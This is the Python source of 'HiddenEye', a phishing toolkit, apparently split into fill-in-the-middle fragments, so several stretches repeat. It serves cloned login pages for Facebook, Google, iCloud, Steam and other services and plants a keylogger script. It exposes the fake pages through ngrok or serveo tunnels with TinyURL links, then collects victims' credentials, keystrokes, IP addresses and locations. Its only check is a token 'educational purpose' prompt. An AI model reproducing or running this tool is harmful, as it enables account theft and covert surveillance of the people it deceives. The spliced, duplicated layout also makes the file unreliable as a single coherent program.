option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if option == '1':
loadModule('Facebook')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Facebook', option2)
elif option == '2':
loadModule('Google')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('GitHub')
option2 = ''
runPhishing('GitHub', option2)
elif option == '5':
loadModule('StackOverflow')
option2 = ''
runPhishing('StackOverflow', option2)
elif option == '6':
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
elif option == '8':
loadModule('Instagram')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Instagram', option2)
elif option == '9':
loadModule('Snapchat')
option2 = ''
runPhishing('Snapchat', option2)
elif option == '10':
loadModule('Yahoo')
option2 = ''
runPhishing('Yahoo', option2)
elif option == '11':
loadModule('Twitch')
option2 = ''
runPhishing('Twitch', option2)
elif option == '12':
loadModule('Microsoft')
option2 = ''
runPhishing('Microsoft', option2)
elif option == '13':
loadModule('Steam')
option2 = ''
runPhishing('Steam', option2)
elif option == '14':
loadModule('VK')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('VK', option2)
elif option == '15':
loadModule('iCloud')
option2 = ''
runPhishing('iCloud', option2)
else:
system('clear && ./HiddenEye.py')
def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7)
with open('link.url') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
def runNgrok():
system('./Server/ngrok http 1111 > /dev/null &')
while True:
sleep(2)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
urlFile = open('ngrok.url', 'r')
url = urlFile.read()
urlFile.close()
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
break
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &")
if __name__ == "__main__":
try:
runPEnv()
def custom(): #Question where user can input custom web-link
print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT))
print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT))
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
custom = input("\nCUSTOM URL >".format(CYAN, DEFAULT))
if 'https://' in custom:
pass
else:
custom = 'https://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
custom()
def server(): #Question where user must select server
print("\n {0}Please select any available server:{1}".format(CYAN, DEFAULT))
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, DEFAULT))
choice = input(" \n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if choice == '1':
runNgrok()
elif choice == '2':
runServeo()
else:
system('clear')
return server()
server()
multiprocessing.Process(target=runServer).start()
waitCreds()
except KeyboardInterrupt:
end()
exit(0)
| if path.isfile('Server/ngrok') == False:
print('[*] Downloading Ngrok...')
if 'Android' in str(check_output(('uname', '-a'))):
filename = 'ngrok-stable-linux-arm.zip'
else:
ostype = systemos().lower()
if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
else:
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
system('mv ngrok Server/ngrok')
system('rm -Rf ' + filename)
system('clear') | identifier_body |
HiddenEye.py | #!/usr/bin/python3
#-*- coding: utf-8 -*-
# HiddenEye v1.0
# By:- DARKSEC TEAM
#
###########################
from time import sleep
from sys import stdout, exit, argv
from os import system, path
from distutils.dir_util import copy_tree
import multiprocessing
from urllib.request import urlopen, quote, unquote
from platform import system as systemos, architecture
from wget import download
import re
import json
from subprocess import check_output
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
def connected(host='http://duckduckgo.com'): #Checking network connection.
try:
urlopen(host)
return True
except:
return False
if connected() == False: #If there no network
print ('''{0}[{1}!{0}]{1} Network error. Verify your Internet connection.\n
'''.format(RED, DEFAULT))
exit(0)
def checkNgrok(): #Check if user already have Ngrok server, if False - downloading it.
if path.isfile('Server/ngrok') == False:
print('[*] Downloading Ngrok...')
if 'Android' in str(check_output(('uname', '-a'))):
filename = 'ngrok-stable-linux-arm.zip'
else:
ostype = systemos().lower()
if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
else:
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
system('mv ngrok Server/ngrok')
system('rm -Rf ' + filename)
system('clear')
checkNgrok()
def end(): #Message when HiddenEye exit
system('clear')
print ('''{1}THANK YOU FOR USING ! JOIN DARKSEC TEAM NOW (github.com/DarkSecDevelopers).{1}'''.format(RED, DEFAULT, CYAN))
print ('''{1}WAITING FOR YOUR CONTRIBUTION. GOOD BYE !.{1}'''.format(RED, DEFAULT, CYAN))
def loadModule(module):
print ('''{0}[{1}*{0}]{1} You Have Selected %s Module ! KEEP GOING !{0}'''.format(CYAN, DEFAULT) % module)
def runPhishing(page, option2): #Phishing pages selection menu
system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/')
if option2 == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
if option2 == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
if option2 == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif option2 == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif option2 == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif option2 == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif option2 == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif option2 == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif option2 == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif option2 == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
didBackground = True
logFile = None
for arg in argv:
if arg=="--nolog": #If true - don't log
didBackground = False
if didBackground:
logFile = open("log.txt", "w")
def log(ctx): #Writing log
if didBackground: #if didBackground == True, write
logFile.write(ctx.replace(RED, "").replace(WHITE, "").replace(CYAN, "").replace(GREEN, "").replace(DEFAULT, "") + "\n")
print(ctx)
def waitCreds():
print("{0}[{1}*{0}]{1} Looks Like Everything is Ready. Now Feel The Power.".format(CYAN, DEFAULT))
print("{0}[{1}*{0}]{1} KEEP EYE ON HIDDEN WORLD WITH DARKSEC.".format(RED, DEFAULT))
print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT))
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('======================================================================'.format(RED, DEFAULT))
log(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
log('======================================================================'.format(RED, DEFAULT))
log(' {0}***** I KNOW YOU ARE ENJOYING. SO MAKE IT POPULAR TO GET MORE FEATURES *****{1}\n {0}{1}'.format(RED, DEFAULT))
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
|
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
log(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude))
log(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country']))
log(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
log('======================================================================'.format(RED, DEFAULT))
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('______________________________________________________________________'.format(RED, DEFAULT))
log(' {0}[KEY PRESSED ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
log('______________________________________________________________________'.format(RED, DEFAULT))
creds.close()
def runPEnv(): #menu where user select what they wanna use
system('clear')
print ('''
______________________________________________________________
------>{2} HIDDEN EYE {2}<-------
{0}KEEP EYE ON HIDDEN WORLD WITH DARKSEC.
{0}[ LIVE VICTIM ATTACK INFORMATION ]
{0}[ LIVE KEYSTROKES CAN BE CAPTURED ]
_______________________________________________________________
{1}'''.format(GREEN, DEFAULT, CYAN))
if 256 != system('which php'): #Checking if user have PHP
print (" -----------------------".format(CYAN, DEFAULT))
print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT))
print (" -----------------------".format(CYAN, DEFAULT))
else:
print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run HiddenEye again.http://www.php.net/".format(RED, DEFAULT))
exit(0)
for i in range(101):
sleep(0.05)
stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(CYAN, DEFAULT) % i)
stdout.flush()
if input(" \n\n{0}[{1}!{0}]{1} DO YOU AGREE TO USE THIS TOOL FOR EDUCATIONAL PURPOSE ? (y/n)\n\n{2}[HIDDENEYE-DARKSEC]- > {1}".format(RED, DEFAULT, CYAN)).upper() != 'Y': #Question where user must accept education purposes
system('clear')
print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT))
exit(0)
option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if option == '1':
loadModule('Facebook')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Facebook', option2)
elif option == '2':
loadModule('Google')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('GitHub')
option2 = ''
runPhishing('GitHub', option2)
elif option == '5':
loadModule('StackOverflow')
option2 = ''
runPhishing('StackOverflow', option2)
elif option == '6':
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
elif option == '8':
loadModule('Instagram')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Instagram', option2)
elif option == '9':
loadModule('Snapchat')
option2 = ''
runPhishing('Snapchat', option2)
elif option == '10':
loadModule('Yahoo')
option2 = ''
runPhishing('Yahoo', option2)
elif option == '11':
loadModule('Twitch')
option2 = ''
runPhishing('Twitch', option2)
elif option == '12':
loadModule('Microsoft')
option2 = ''
runPhishing('Microsoft', option2)
elif option == '13':
loadModule('Steam')
option2 = ''
runPhishing('Steam', option2)
elif option == '14':
loadModule('VK')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('VK', option2)
elif option == '15':
loadModule('iCloud')
option2 = ''
runPhishing('iCloud', option2)
else:
system('clear && ./HiddenEye.py')
def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7)
with open('link.url') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
def runNgrok():
system('./Server/ngrok http 1111 > /dev/null &')
while True:
sleep(2)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
urlFile = open('ngrok.url', 'r')
url = urlFile.read()
urlFile.close()
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
break
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &")
if __name__ == "__main__":
try:
runPEnv()
def custom(): #Question where user can input custom web-link
print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT))
print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT))
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
custom = input("\nCUSTOM URL >".format(CYAN, DEFAULT))
if 'https://' in custom:
pass
else:
custom = 'https://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
custom()
def server(): #Question where user must select server
print("\n {0}Please select any available server:{1}".format(CYAN, DEFAULT))
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, DEFAULT))
choice = input(" \n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if choice == '1':
runNgrok()
elif choice == '2':
runServeo()
else:
system('clear')
return server()
server()
multiprocessing.Process(target=runServer).start()
waitCreds()
except KeyboardInterrupt:
end()
exit(0)
| log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) | conditional_block |
HiddenEye.py | #!/usr/bin/python3
#-*- coding: utf-8 -*-
# HiddenEye v1.0
# By:- DARKSEC TEAM
#
###########################
from time import sleep
from sys import stdout, exit, argv
from os import system, path
from distutils.dir_util import copy_tree
import multiprocessing
from urllib.request import urlopen, quote, unquote
from platform import system as systemos, architecture
from wget import download
import re
import json
from subprocess import check_output
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
def connected(host='http://duckduckgo.com'): #Checking network connection.
try:
urlopen(host)
return True
except:
return False
if connected() == False: #If there no network
print ('''{0}[{1}!{0}]{1} Network error. Verify your Internet connection.\n
'''.format(RED, DEFAULT))
exit(0)
def checkNgrok(): #Check if user already have Ngrok server, if False - downloading it.
if path.isfile('Server/ngrok') == False:
print('[*] Downloading Ngrok...')
if 'Android' in str(check_output(('uname', '-a'))):
filename = 'ngrok-stable-linux-arm.zip'
else:
ostype = systemos().lower()
if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
else:
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
system('mv ngrok Server/ngrok')
system('rm -Rf ' + filename)
system('clear')
checkNgrok()
def end(): #Message when HiddenEye exit
system('clear')
print ('''{1}THANK YOU FOR USING ! JOIN DARKSEC TEAM NOW (github.com/DarkSecDevelopers).{1}'''.format(RED, DEFAULT, CYAN))
print ('''{1}WAITING FOR YOUR CONTRIBUTION. GOOD BYE !.{1}'''.format(RED, DEFAULT, CYAN))
def loadModule(module):
print ('''{0}[{1}*{0}]{1} You Have Selected %s Module ! KEEP GOING !{0}'''.format(CYAN, DEFAULT) % module)
def runPhishing(page, option2): #Phishing pages selection menu
system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/')
if option2 == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
if option2 == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
if option2 == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif option2 == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif option2 == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif option2 == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif option2 == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif option2 == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif option2 == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif option2 == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
didBackground = True
logFile = None
for arg in argv:
if arg=="--nolog": #If true - don't log
didBackground = False
if didBackground:
logFile = open("log.txt", "w")
def log(ctx): #Writing log
if didBackground: #if didBackground == True, write
logFile.write(ctx.replace(RED, "").replace(WHITE, "").replace(CYAN, "").replace(GREEN, "").replace(DEFAULT, "") + "\n")
print(ctx)
def waitCreds():
print("{0}[{1}*{0}]{1} Looks Like Everything is Ready. Now Feel The Power.".format(CYAN, DEFAULT))
print("{0}[{1}*{0}]{1} KEEP EYE ON HIDDEN WORLD WITH DARKSEC.".format(RED, DEFAULT))
print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT))
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('======================================================================'.format(RED, DEFAULT))
log(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
log('======================================================================'.format(RED, DEFAULT))
log(' {0}***** I KNOW YOU ARE ENJOYING. SO MAKE IT POPULAR TO GET MORE FEATURES *****{1}\n {0}{1}'.format(RED, DEFAULT))
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip)
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)
log('======================================================================'.format(RED, DEFAULT))
log(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
log(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude))
log(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country']))
log(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
log('======================================================================'.format(RED, DEFAULT))
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log('______________________________________________________________________'.format(RED, DEFAULT))
log(' {0}[KEY PRESSED ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines)
system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
log('______________________________________________________________________'.format(RED, DEFAULT))
creds.close()
def runPEnv(): #menu where user select what they wanna use
system('clear')
print ('''
______________________________________________________________
------>{2} HIDDEN EYE {2}<-------
{0}KEEP EYE ON HIDDEN WORLD WITH DARKSEC.
{0}[ LIVE VICTIM ATTACK INFORMATION ]
{0}[ LIVE KEYSTROKES CAN BE CAPTURED ]
_______________________________________________________________
{1}'''.format(GREEN, DEFAULT, CYAN))
if 256 != system('which php'): #Checking if user have PHP
print (" -----------------------".format(CYAN, DEFAULT))
print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT))
print (" -----------------------".format(CYAN, DEFAULT))
else:
print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run HiddenEye again.http://www.php.net/".format(RED, DEFAULT))
exit(0)
for i in range(101):
sleep(0.05)
stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(CYAN, DEFAULT) % i)
stdout.flush()
if input(" \n\n{0}[{1}!{0}]{1} DO YOU AGREE TO USE THIS TOOL FOR EDUCATIONAL PURPOSE ? (y/n)\n\n{2}[HIDDENEYE-DARKSEC]- > {1}".format(RED, DEFAULT, CYAN)).upper() != 'Y': #Question where user must accept education purposes
system('clear')
